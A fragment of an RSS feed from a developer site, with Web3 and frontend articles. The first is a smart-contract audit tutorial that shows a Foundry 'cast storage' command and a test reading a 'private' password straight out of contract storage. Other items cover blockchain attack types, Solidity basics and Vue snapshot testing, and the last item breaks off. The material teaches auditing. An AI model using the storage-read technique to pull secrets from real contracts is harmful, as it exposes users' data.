&lt;p&gt;&lt;strong&gt;Issue 1: Missing access control&lt;/strong&gt; on &lt;code&gt;getPassword&lt;/code&gt;.&lt;br&gt;
The getter has no &lt;code&gt;msg.sender&lt;/code&gt; check, so anyone can call it and retrieve the password directly through the ABI.&lt;br&gt;
&lt;strong&gt;Issue 2: The password is exposed&lt;/strong&gt; in storage regardless.&lt;br&gt;
 Here is why.&lt;/p&gt;
&lt;p&gt;Every state variable in a Solidity contract occupies a storage slot. &lt;code&gt;s_password&lt;/code&gt; sits at slot 1. The &lt;code&gt;private&lt;/code&gt; keyword only prevents other contracts from reading it through the ABI. It does nothing to stop an off-chain read.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;# the 'private' variable
string private s_password;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can retrieve the saved password with a single Foundry cast command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cast parse-bytes32-string $(cast storage  &amp;lt;CONTRACT_ADDRESS&amp;gt; 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We fetched the raw bytes at storage slot 1 and decoded it to get the plaintext password.&lt;br&gt;
This is not a bug in Solidity. It is how blockchains work. Every transaction, every storage write, is public by design. Marking a variable private is a visibility modifier for the compiler, not a confidentiality guarantee for your users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; you can protect a function and still leak the data. Access control and data confidentiality are two different problems that need two different solutions.&lt;/p&gt;
&lt;h3 id=&quot;step-3-simple-audit-flow&quot;&gt;Step 3: Simple audit flow&lt;/h3&gt;
&lt;p&gt;Small contracts are not easier to audit, they are easier to audit shallowly. For any contract under 100 nSLOC, I now run four checks before calling it done:&lt;br&gt;
&lt;strong&gt;1. Read the code and map the intended trust boundary.&lt;/strong&gt;&lt;br&gt;
What is the contract supposed to do, and who is supposed to be able to do it? Write it down in plain English before touching the code.&lt;br&gt;
&lt;strong&gt;2. Check who can actually call each function.&lt;/strong&gt;&lt;br&gt;
Does every sensitive function have a guard? Does that guard cover all entry points, including any inherited or fallback functions?&lt;br&gt;
&lt;strong&gt;3. Check whether storage or calldata exposes the value anyway.&lt;/strong&gt;&lt;br&gt;
A &lt;code&gt;private&lt;/code&gt; variable is not private on-chain. Ask: if someone ran &lt;code&gt;cast storage&lt;/code&gt; against every slot, what would they find? Think about variables that leak information they are not supposed to.&lt;br&gt;
&lt;strong&gt;4. Write a test for the failure mode.&lt;/strong&gt;&lt;br&gt;
For the storage issue, a simple Foundry test proves it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function test_anyone_can_read_password() public {
    vm.startPrank(owner);
    passwordStore.setPassword(&quot;supersecret&quot;);
    vm.stopPrank();

    // Read slot 1 directly, bypassing the getter entirely
    bytes32 storedPassword = vm.load(
        address(passwordStore),
        bytes32(uint256(1))
    );

    assertEq(
        string(abi.encodePacked(storedPassword)),
        &quot;supersecret&quot;
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the test passes, the contract has a confidentiality problem regardless of what the getter says.&lt;/p&gt;
&lt;h3 id=&quot;takeaway&quot;&gt;Takeaway&lt;/h3&gt;
&lt;p&gt;Contracts with few functions should not trick you into shallow reviews.&lt;/p&gt;
&lt;p&gt;The real question is not, “Does the function have a guard?”&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;“Does the contract actually meet the expected business logic and keep the data safe?”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How would you write this contract differently?&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/14218/how-to-audit-a-smart-contract</guid>
<pubDate>Wed, 08 Apr 2026 08:57:34 +0000</pubDate>
</item>
<item>
<title>Built on Aptos: Bringing RWAs On-Chain</title>
<link>https://coderlegion.com/11060/built-on-aptos-bringing-rwas-on-chain</link>
<description>&lt;p data-path-to-node=&quot;4&quot;&gt;Hey builders,&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot;&gt;I&amp;rsquo;ve spent the last few weeks diving deep into the &lt;strong data-path-to-node=&quot;5&quot; data-index-in-node=&quot;51&quot;&gt;Aptos&lt;/strong&gt; ecosystem, specifically looking at how we can bridge real-world assets (RWAs) with the speed and safety of the Move language.&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot;&gt;I&amp;rsquo;m excited to share that I&amp;rsquo;ve just open-sourced my latest project: &lt;strong data-path-to-node=&quot;6&quot; data-index-in-node=&quot;68&quot;&gt;[Project Name]&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;7&quot;&gt;The Why&lt;/h3&gt;
&lt;p data-path-to-node=&quot;8&quot;&gt;Most RWA implementations are bogged down by high gas or rigid smart contract architecture. I wanted to build something that leverages Aptos&amp;rsquo; &lt;strong data-path-to-node=&quot;8&quot; data-index-in-node=&quot;141&quot;&gt;Block-STM&lt;/strong&gt; (parallel execution) to handle high-frequency asset updates without breaking the bank or the network.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;9&quot;&gt;Technical Highlights&lt;/h3&gt;
&lt;ul data-path-to-node=&quot;10&quot;&gt;
&lt;li&gt;
&lt;p data-path-to-node=&quot;10,0,0&quot;&gt;&lt;strong data-path-to-node=&quot;10,0,0&quot; data-index-in-node=&quot;0&quot;&gt;Move-Powered Security:&lt;/strong&gt; Utilized resource accounts and signer capabilities to ensure asset ownership is immutable and verifiable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p data-path-to-node=&quot;10,1,0&quot;&gt;&lt;strong data-path-to-node=&quot;10,1,0&quot; data-index-in-node=&quot;0&quot;&gt;Fractionalization Engine:&lt;/strong&gt; Built a module that allows for the seamless splitting of physical asset NFTs into tradable fungible tokens.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p data-path-to-node=&quot;10,2,0&quot;&gt;&lt;strong data-path-to-node=&quot;10,2,0&quot; data-index-in-node=&quot;0&quot;&gt;Decentralized Oracles:&lt;/strong&gt; Integrated price feeds to ensure on-chain valuations reflect real-world market data in real-time.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;11&quot;&gt; Why Open Source?&lt;/h3&gt;
&lt;p data-path-to-node=&quot;12&quot;&gt;The &quot;Legion&quot; ethos is all about building together. I&amp;rsquo;m open-sourcing the entire repository&amp;mdash;from the Move modules to the frontend SDK&amp;mdash;because RWA infrastructure shouldn't be a black box.&lt;/p&gt;
&lt;p data-path-to-node=&quot;13&quot;&gt;Whether you want to fork it for a specific niche (real estate, fine art, commodities) or just want to see how I handled the storage logic on Aptos, it&amp;rsquo;s all there.&lt;/p&gt;
&lt;p&gt;Note: This works only with Petra Wallet and is currently deployed on Testnet. Looking to move to Mainnet with the help of contributors.&lt;/p&gt;
</description>
<category>Launches</category>
<guid isPermaLink="true">https://coderlegion.com/11060/built-on-aptos-bringing-rwas-on-chain</guid>
<pubDate>Wed, 04 Feb 2026 15:17:13 +0000</pubDate>
</item>
<item>
<title>Issue #7: Blockchain security and attacks</title>
<link>https://coderlegion.com/8479/issue-7-blockchain-security-and-attacks</link>
<description>&lt;p&gt;Been a while in the series innit?&lt;/p&gt;
&lt;p&gt;In the last issue, we discussed consensus algorithms and how they secure the Blockchain. In this issue, we will go over the possible attacks in the Blockchain ecosystem and how they can be mitigated. Let's get started, shall we?&lt;/p&gt;
&lt;p&gt;First off, it should be noted that a good number of web3/Blockchain attacks that have happened in recent times are not due to the Blockchain itself, but rather the protocols (applications) built on top of the Blockchain.&lt;/p&gt;
&lt;p&gt;Just like every system built with technology, the Blockchain could be open to attacks from hackers, a famous one being the infamous DAO (Decentralized Autonomous Organization) hack that happened on the Ethereum network around 2016 due to a bug in the DAO protocol's code; over $10 million dollar worth of Ethereum was stolen in this attack. &lt;/p&gt;
&lt;p&gt;The aforementioned attack is regarded as a Reentrancy attack. An attack where a malicious smart contract makes a call to an external contract (e.g. to withdraw funds for a user), the funds are withdrawn and before the external contract updates its balances, the malicious contract makes another call to withdraw the user's balance (that has not been updated from the previous withdrawal), this goes on until the external contract is drained by the malicious contract. This attack can be prevented by following the CEI (Checks-Effects-Interactions) pattern or by using reentrancy guards.&lt;/p&gt;
&lt;p&gt;Another attack is the 51% attack, this attack is feasible in Blockchain networks with a few nodes. In this attack, malicious actor has a majority of the nodes (&amp;gt;=51%) on the Blockchain, therefore he is technically in control, he can reverse transactions, perform double spending and can even fork a new chain since the Blockchain follows the majority rule. However, this is not feasible in networks with a huge number of nodes like Ethereum and Bitcoin due to the financial and computational overhead costs to carry out this attack. The 51% attack is a specific type of Sybil attack - an attack where a person creates multiple fake identities to gain control of the network.&lt;/p&gt;
&lt;p&gt;Another classic Blockchain attack is the Replay attack, where a previous transaction is maliciously resent to the network, this can lead to issues like double spending. However, this has been mitigated by adding a nonce (a number that can be used only once) to transactions, trying to resend a transaction with the same nonce is not possible as the Blockchain nodes will see that the number has been used in a prior transaction. A Chain ID has also been added to prevent replay attacks across different chains.&lt;/p&gt;
&lt;p&gt;Lastly, in the scope of this article, there are inflation and front running attacks, these attacks are common in DeFi protocols. It involves a user jumping ahead of a pending transaction (for example, a token swap) and executing their own trade/swap at a more favourable price which would affect the pending transaction and cause it to be executed at a higher price, meaning both users execute the same transaction but one pays more. This can be prevented by using slippage tolerance, this would cause the transaction to revert/fail if the trade would be unfavourable.&lt;/p&gt;
&lt;p&gt;In conclusion, while the Blockchain is somewhat very secure and tamper-proof, users should take caution when interacting with Blockchain protocols. DO NOT share your private keys/secret recovery phrases and only sign transactions you trust.&lt;/p&gt;
&lt;p&gt;Till the next issue, stay frosty.&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/8479/issue-7-blockchain-security-and-attacks</guid>
<pubDate>Mon, 15 Dec 2025 09:46:45 +0000</pubDate>
</item>
<item>
<title>Mastering Solidity: Essential Concepts Every Web3 Developer Must Understand</title>
<link>https://coderlegion.com/8104/mastering-solidity-essential-concepts-every-web3-developer-must-understand</link>
<description>&lt;p&gt;Solidity is the backbone of modern Web3 development. It powers smart contracts on Ethereum and all EVM-compatible blockchains. Yet many developers jump into coding without understanding core concepts like memory management, security patterns, and contract structure.&lt;br&gt;
This article provides a clear and structured overview of the most important Solidity fundamentals every developer must master to build secure, scalable, and professional smart contracts.&lt;br&gt;
H2: Understanding the Solidity Compilation Model&lt;br&gt;
Solidity code is compiled into low-level EVM bytecode. Before writing smart contracts, developers must understand how contract logic is organized:&lt;br&gt;
H3: Key Components of a Solidity Contract&lt;br&gt;
State variables: Stored permanently on-chain&lt;br&gt;
Functions: Execute logic and modify state&lt;br&gt;
Events: Emit logs for off-chain systems&lt;br&gt;
Modifiers: Reusable security/validation constraints&lt;br&gt;
Structs &amp;amp; Enums: Used to organize complex data&lt;br&gt;
Each component affects gas costs and security differently.&lt;br&gt;
H2: Data Locations — Memory, Storage, and Calldata&lt;br&gt;
One of the most misunderstood parts of Solidity is where data lives.&lt;br&gt;
H3: Storage&lt;br&gt;
Permanent&lt;br&gt;
Expensive&lt;br&gt;
Used for state variables&lt;br&gt;
H3: Memory&lt;br&gt;
Temporary&lt;br&gt;
Cheaper&lt;br&gt;
Used for function-local variables&lt;br&gt;
H3: Calldata&lt;br&gt;
Read-only&lt;br&gt;
Cheapest&lt;br&gt;
Used for external function parameters&lt;br&gt;
Choosing the wrong location increases gas and introduces bugs.&lt;br&gt;
H2: Security Fundamentals Every Developer Must Apply&lt;br&gt;
Smart contracts are irreversible and public, making security essential.&lt;br&gt;
H3: Role-Based Access Control&lt;br&gt;
Use Ownable, AccessControl, or custom modifiers to prevent unauthorized access.&lt;br&gt;
Copy code&lt;br&gt;
Solidity&lt;br&gt;
modifier onlyOwner() {&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(msg.sender == owner, &quot;Not authorized&quot;);
_;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;br&gt;
H3: Reentrancy Protection&lt;br&gt;
Use the checks-effects-interactions pattern or OpenZeppelin’s ReentrancyGuard.&lt;br&gt;
H3: Avoiding Integer Overflows&lt;br&gt;
Always rely on Solidity ≥0.8.0 (built-in overflow protection) or SafeMath for older versions.&lt;br&gt;
H2: Events and Logging — The Bridge to Off-Chain Systems&lt;br&gt;
Events allow external applications (frontends, indexers, dashboards) to read contract activity.&lt;br&gt;
Copy code&lt;br&gt;
Solidity&lt;br&gt;
event UserRegistered(address user, uint256 timestamp);&lt;br&gt;
They are essential for building real-time analytics and monitoring.&lt;br&gt;
H2: Writing Gas-Efficient Solidity Code&lt;br&gt;
Gas optimization directly affects user experience.&lt;br&gt;
H3: Best Practices&lt;br&gt;
Use uint256 instead of uint8&lt;br&gt;
Use calldata instead of memory for external functions&lt;br&gt;
Pack variables with similar sizes&lt;br&gt;
Remove unnecessary computations&lt;br&gt;
Example optimization:&lt;br&gt;
Copy code&lt;br&gt;
Solidity&lt;br&gt;
uint256 public count; // cheaper than uint8 in most cases&lt;br&gt;
H2: Testing and Auditing Your Smart Contracts&lt;br&gt;
No smart contract should be deployed without testing.&lt;br&gt;
H3: Testing Guidelines&lt;br&gt;
Use Hardhat or Foundry for automated testing&lt;br&gt;
Test edge cases and failure scenarios&lt;br&gt;
Simulate multi-user interactions&lt;br&gt;
H3: Static Analysis Tools&lt;br&gt;
Slither&lt;br&gt;
MythX&lt;br&gt;
Solhint&lt;br&gt;
These tools detect vulnerabilities early.&lt;br&gt;
H2: Deployment and Lifecycle Management&lt;br&gt;
Deployment is only the beginning.&lt;br&gt;
H3: Post-Deployment Tasks&lt;br&gt;
Verify the contract on block explorers&lt;br&gt;
Set up monitoring&lt;br&gt;
Write documentation&lt;br&gt;
Establish upgrade or migration plans (if using proxy patterns)&lt;br&gt;
Conclusion&lt;br&gt;
Solidity is powerful but unforgiving. To build professional Web3 applications, developers must understand:&lt;br&gt;
How contracts are structured&lt;br&gt;
How the EVM stores data&lt;br&gt;
Essential security patterns&lt;br&gt;
Gas optimization techniques&lt;br&gt;
Testing and auditing standards&lt;br&gt;
Mastering these fundamentals ensures your contracts are secure, efficient, and ready for real-world adoption.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/8104/mastering-solidity-essential-concepts-every-web3-developer-must-understand</guid>
<pubDate>Tue, 02 Dec 2025 23:28:25 +0000</pubDate>
</item>
<item>
<title>The Hidden Architecture of Modern Web3 Systems What Developers Overlook When Building on Blockchain</title>
<link>https://coderlegion.com/8022/hidden-architecture-modern-web3-systems-what-developers-overlook-building-blockchain</link>
<description>&lt;p&gt;Introduction&lt;br&gt;
Many developers entering Web3 assume that building a blockchain project is simply a matter of deploying a smart contract. In reality, professional Web3 systems require a combination of distributed architecture, backend engineering, security layers, data indexing, and seamless user experience.&lt;br&gt;
This article explores the hidden layers behind modern Web3 products and highlights what developers often overlook during development.&lt;br&gt;
The Multi-Layer Structure of a Web3 Project&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Smart Contracts — The Immutable Core&lt;br&gt;
Smart contracts define the logic and rules of a decentralized system. They must be secure, efficient, and predictable.&lt;br&gt;
To ensure reliability:&lt;br&gt;
Recommended Practices&lt;br&gt;
Use audited and open-source standards&lt;br&gt;
Keep logic modular and simple&lt;br&gt;
Apply role-based access control&lt;br&gt;
Run automated unit tests&lt;br&gt;
Perform static and dynamic analysis&lt;br&gt;
Test edge cases such as zero-values and overflow scenarios&lt;br&gt;
Smart contracts are permanent — which makes testing and security the most critical development phase.&lt;/li&gt;
&lt;li&gt;Off-Chain Backend — The Most Overlooked Layer&lt;br&gt;
Even though Web3 is decentralized, real applications require off-chain servers to perform tasks that blockchains cannot handle efficiently.&lt;br&gt;
Backend Responsibilities&lt;br&gt;
Index blockchain events&lt;br&gt;
Provide APIs for dashboards and mobile apps&lt;br&gt;
Manage analytics, logs, and caching&lt;br&gt;
Monitor fraud or suspicious activities&lt;br&gt;
Execute automation and scheduled tasks&lt;br&gt;
Common Backend Tools&lt;br&gt;
Languages: Node.js, Python, Go&lt;br&gt;
Databases: PostgreSQL, MongoDB, Redis&lt;br&gt;
A well-designed backend is essential for scalability and performance.&lt;/li&gt;
&lt;li&gt;Data Indexing and Node Infrastructure&lt;br&gt;
Nodes are not optimized for fast repeated queries. High-quality Web3 apps require:&lt;br&gt;
Archive nodes&lt;br&gt;
Custom indexers&lt;br&gt;
Real-time data streams&lt;br&gt;
Internal caching systems&lt;br&gt;
Without proper indexing, dashboards become slow, charts break, and users experience delayed data.&lt;/li&gt;
&lt;li&gt;Security — The Most Critical Component of Web3&lt;br&gt;
Smart Contract Security&lt;br&gt;
Circuit breakers&lt;br&gt;
Time-locked admin functions&lt;br&gt;
Role separation&lt;br&gt;
Immutable parameters&lt;br&gt;
Backend Security&lt;br&gt;
API rate-limits&lt;br&gt;
Firewalls&lt;br&gt;
Authentication layers&lt;br&gt;
Automated monitoring&lt;br&gt;
Transparency&lt;br&gt;
Public audits&lt;br&gt;
Verified contracts&lt;br&gt;
Clear technical documentation&lt;br&gt;
Security must be baked into every layer of the system.&lt;/li&gt;
&lt;li&gt;Frontend &amp;amp; User Experience&lt;br&gt;
A Web3 project lives or dies based on usability. If users cannot understand the interface, they will not trust the platform.&lt;br&gt;
Essential Frontend Features&lt;br&gt;
Fast, clean UI&lt;br&gt;
Wallet integrations&lt;br&gt;
Real-time blockchain data&lt;br&gt;
Informative error messages&lt;br&gt;
Mobile optimization&lt;br&gt;
Even the best smart contracts fail without a strong user experience.&lt;/li&gt;
&lt;li&gt;Choosing the Right Blockchain&lt;br&gt;
Developers should consider:&lt;br&gt;
Transaction fees&lt;br&gt;
Speed&lt;br&gt;
Tooling availability&lt;br&gt;
Documentation quality&lt;br&gt;
Ecosystem size&lt;br&gt;
Security history&lt;br&gt;
EVM-compatible networks remain a top choice due to their mature ecosystem and tooling.&lt;/li&gt;
&lt;li&gt;Testing &amp;amp; Simulation Before Deployment&lt;br&gt;
Testing Checklist&lt;br&gt;
Stress-test heavy transaction loads&lt;br&gt;
Test wallet interactions&lt;br&gt;
Validate node stability&lt;br&gt;
Run full integration tests&lt;br&gt;
Measure gas efficiency&lt;br&gt;
This prevents costly failures after launch.&lt;/li&gt;
&lt;li&gt;Continuous Maintenance&lt;br&gt;
A Web3 system requires ongoing updates:&lt;br&gt;
Patch vulnerabilities&lt;br&gt;
Improve APIs and indexers&lt;br&gt;
Update UI components&lt;br&gt;
Optimize smart contract gas usage&lt;br&gt;
Scale infrastructure when needed&lt;br&gt;
Web3 is always evolving — only adaptive projects survive.&lt;br&gt;
Conclusion&lt;br&gt;
Building a modern Web3 ecosystem demands more than just smart-contract deployment. Developers must combine:&lt;br&gt;
Strong architecture&lt;br&gt;
Secure contract engineering&lt;br&gt;
Reliable indexing&lt;br&gt;
Scalable backend&lt;br&gt;
Clean UX&lt;br&gt;
Continuous improvement&lt;br&gt;
Those who understand the full technical stack can build Web3 systems that are secure, scalable, and ready for real-world adoption.&lt;/li&gt;
&lt;/ol&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/8022/hidden-architecture-modern-web3-systems-what-developers-overlook-building-blockchain</guid>
<pubDate>Tue, 02 Dec 2025 01:21:02 +0000</pubDate>
</item>
<item>
<title>Learning the Single Responsibility Principle with Snapshot Tests</title>
<link>https://coderlegion.com/5026/learning-the-single-responsibility-principle-with-snapshot-tests</link>
<description>&lt;p&gt;This is the second part and here is the firt one &lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/5022/learning-the-single-responsibility-principle-one-test-at-a-time&quot;&gt;Learning the Single Responsibility Principle, One Test at a Time&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;the-aha-moment-unreadable-snapshots&quot;&gt;The &quot;Aha!&quot; Moment: Unreadable Snapshots&lt;/h4&gt;
&lt;p&gt;If you've been following along, you know that a component that's difficult to test is a strong signal that it's doing too much. This is where snapshot testing can give you a powerful, tangible warning.&lt;/p&gt;
&lt;p&gt;Imagine you're working on a &lt;code&gt;UserProfilePage.vue&lt;/code&gt; component. This component not only displays a user's details but also handles a &quot;follow&quot; button, a list of their posts, and fetches all the data for these sections. If you were to write a snapshot test for this component, the result would be a massive, multi-hundred-line file. This is your &quot;aha!&quot; moment. This unreadable snapshot isn't just a nuisance; it's a guide. It's a clear, frustrating consequence that tells you, &quot;This component needs to be broken down.&quot;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;the-unreadable-snapshot-is-your-guide-to-refactoring&quot;&gt;The Unreadable Snapshot is Your Guide to Refactoring&lt;/h4&gt;
&lt;p&gt;A large, messy snapshot is a primary indicator of a bloated component. By breaking this component into smaller, single-responsibility components, you'll end up with multiple small, clean, and highly readable snapshots. This process turns a theoretical principle into a practical, step-by-step refactoring task.&lt;/p&gt;
&lt;p&gt;Here's our complex &lt;code&gt;UserProfilePage.vue&lt;/code&gt; component, rewritten with the Composition API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;template&amp;gt;
  &amp;lt;div class=&quot;profile-container&quot;&amp;gt;
    &amp;lt;header class=&quot;profile-header&quot;&amp;gt;
      &amp;lt;img class=&quot;user-avatar&quot; :src=&quot;user.avatar&quot; alt=&quot;User avatar&quot; /&amp;gt;
      &amp;lt;h1 class=&quot;user-name&quot;&amp;gt;{{ user.name }}&amp;lt;/h1&amp;gt;
      &amp;lt;button class=&quot;follow-button&quot; @click=&quot;handleFollow&quot;&amp;gt;Follow&amp;lt;/button&amp;gt;
    &amp;lt;/header&amp;gt;
    &amp;lt;section class=&quot;profile-posts&quot;&amp;gt;
      &amp;lt;h2&amp;gt;Posts&amp;lt;/h2&amp;gt;
      &amp;lt;div v-for=&quot;post in posts&quot; :key=&quot;post.id&quot; class=&quot;post-card&quot;&amp;gt;
        &amp;lt;h3&amp;gt;{{ post.title }}&amp;lt;/h3&amp;gt;
        &amp;lt;p&amp;gt;{{ post.content }}&amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/section&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script setup&amp;gt;
import { ref, onMounted } from 'vue';
import { getUser, getPosts, followUser } from '@/api/user';

const props = defineProps({
  userId: {
    type: [String, Number],
    required: true,
  },
});

const user = ref(null);
const posts = ref([]);

const fetchUserData = async () =&amp;gt; {
  user.value = await getUser(props.userId);
  posts.value = await getPosts(props.userId);
};

const handleFollow = () =&amp;gt; {
  followUser(props.userId);
  // Logic for handling follow action
};

onMounted(() =&amp;gt; {
  fetchUserData();
});
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even with the Composition API, this component still does a lot. It handles data fetching, state management, and user interaction. When we break this down, our snapshots become much more manageable. The &lt;code&gt;UserProfilePage&lt;/code&gt; can now focus on its single job: &lt;strong&gt;orchestration&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;finding-the-balance-reusability-vs-encapsulation&quot;&gt;Finding the Balance: Reusability vs. Encapsulation&lt;/h4&gt;
&lt;p&gt;This is a very important point: you're not aiming for &quot;file hell&quot; by turning every &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag into a separate component. A component should be created for one of two main reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reusability:&lt;/strong&gt; This is the most common reason. If a piece of UI, like a &lt;code&gt;Button&lt;/code&gt; or a &lt;code&gt;PostCard&lt;/code&gt;, is going to be used in multiple places, it's an independent, reusable building block and should be its own component.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encapsulation:&lt;/strong&gt; Sometimes, a part of a larger component is simply too complex to be written inline. Even if this piece of UI is only used on one page, extracting it into its own component is still a valid use of SRP. You're not creating a reusable entity, but you are making the parent component more readable and manageable. The new component's single responsibility is to manage the complexity of that specific UI block.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The key is to &lt;strong&gt;break down complexity&lt;/strong&gt;, not just to create more files.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;the-hidden-benefit-testing-styles&quot;&gt;The Hidden Benefit: Testing Styles&lt;/h4&gt;
&lt;p&gt;A snapshot captures the complete rendered output, including CSS class names and the HTML structure. This means a snapshot test implicitly acts as a safeguard against unintended style regressions. If you accidentally change a class name from &lt;code&gt;user-name&lt;/code&gt; to &lt;code&gt;user-title&lt;/code&gt; in a child component, its snapshot will fail. This flags a visual change that you might have overlooked. You are then forced to acknowledge and approve the change, reinforcing that a style change is a valid &quot;reason to change&quot; for a component.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;snapshotting-the-orchestrator&quot;&gt;Snapshotting the Orchestrator&lt;/h4&gt;
&lt;p&gt;Following the principle of orchestration, a page's single responsibility is to compose other components. Therefore, a snapshot test for a page component should not be a massive file. Instead, it should mock the child components.&lt;/p&gt;
&lt;p&gt;Here's our refactored &lt;code&gt;UserProfilePage.vue&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;template&amp;gt;
  &amp;lt;div class=&quot;profile-page-layout&quot;&amp;gt;
    &amp;lt;UserHeader :user-id=&quot;userId&quot; /&amp;gt;
    &amp;lt;UserPosts :user-id=&quot;userId&quot; /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script setup&amp;gt;
import UserHeader from './UserHeader.vue';
import UserPosts from './UserPosts.vue';

const props = defineProps({
  userId: {
    type: [String, Number],
    required: true,
  },
});
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here's how you'd test it using &lt;code&gt;@vue/test-utils&lt;/code&gt; and Jest:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// UserProfilePage.test.js - Testing the Orchestrator

import { shallowMount } from '@vue/test-utils';
import UserProfilePage from '@/components/UserProfilePage.vue';

describe('UserProfilePage', () =&amp;gt; {
  it('should render the orchestrator component correctly', () =&amp;gt; {
    const wrapper = shallowMount(UserProfilePage, {
      props: { userId: 1 },
    });
    expect(wrapper.html()).toMatchSnapshot();
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The use of &lt;strong&gt;&lt;code&gt;shallowMount&lt;/code&gt;&lt;/strong&gt; is key here. It stubs out the child components (&lt;code&gt;UserHeader&lt;/code&gt; and &lt;code&gt;UserPosts&lt;/code&gt;), so the snapshot for the &lt;code&gt;UserProfilePage&lt;/code&gt; is clean and concise. It only verifies that the page is correctly rendering its children with the right props, fulfilling its single responsibility as an orchestrator.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;unit-tests-as-a-regression-safety-net&quot;&gt;Unit Tests as a Regression Safety Net&lt;/h4&gt;
&lt;p&gt;This practice turns individual unit tests into a powerful regression safety net. By having a focused snapshot test for every small, single-responsibility component, you build a robust system. If you change a low-level component (like a &lt;code&gt;PostCard&lt;/code&gt;) and it breaks its snapshot, you have caught a regression at the source. This prevents the bug from ever reaching higher-level components like pages, which would be much harder to debug.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;mocking-services-and-stores-to-test-wiring-&quot;&gt;Mocking Services and Stores to Test &quot;Wiring&quot;&lt;/h4&gt;
&lt;p&gt;For orchestrator components, snapshot testing also helps verify the &quot;wiring&quot; or data flow. To test a page component, you must mock the services or stores it depends on. The snapshot test then confirms that the page correctly fetches the data (from your mock) and passes it down to the appropriate child components. You're not testing the data-fetching logic itself (that's the service's responsibility); you're testing the page's ability to act as a conductor.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;from-theory-to-practice-the-ultimate-payoff&quot;&gt;From Theory to Practice: The Ultimate Payoff&lt;/h4&gt;
&lt;p&gt;Using snapshot testing wisely turns the abstract concept of SRP into a tangible, achievable outcome. By prioritizing testability—and letting the unreadability of large snapshots be your guide—developers are naturally pushed toward writing smaller, more focused components. This leads to code that is not only easier to test, but also more maintainable, reusable, and ultimately, better designed.&lt;/p&gt;
</description>
<category>QA Best Practices</category>
<guid isPermaLink="true">https://coderlegion.com/5026/learning-the-single-responsibility-principle-with-snapshot-tests</guid>
<pubDate>Tue, 26 Aug 2025 17:57:13 +0000</pubDate>
</item>
<item>
<title>A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application</title>
<link>https://coderlegion.com/4349/a-clear-and-working-example-of-zero-knowledge-proofs-in-a-real-web3-application</link>
<description>&lt;p&gt;Zero-knowledge proofs (ZKPs) allow someone to prove they know or did something — without revealing what it was. A specific type of ZKP called a &lt;strong&gt;zk-SNARK&lt;/strong&gt; (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) enables compact and fast proofs that can be verified on-chain.&lt;/p&gt;
&lt;p&gt;Writing ZK circuits manually can be complex, but &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://zokrates.github.io/&quot;&gt;ZoKrates&lt;/a&gt;&lt;/strong&gt; makes it much easier. It provides a high-level language and tooling to compile circuits, generate proofs, and export Solidity verifiers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/melanke/zk-voting-sample/main/working.gif&quot; alt=&quot;Working Demo&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this tutorial, we’ll use ZoKrates to build a &lt;strong&gt;simple private voting example&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;️ A user will commit to their vote (1 or 2) using a secret nonce and the Poseidon hash function.&lt;br&gt;
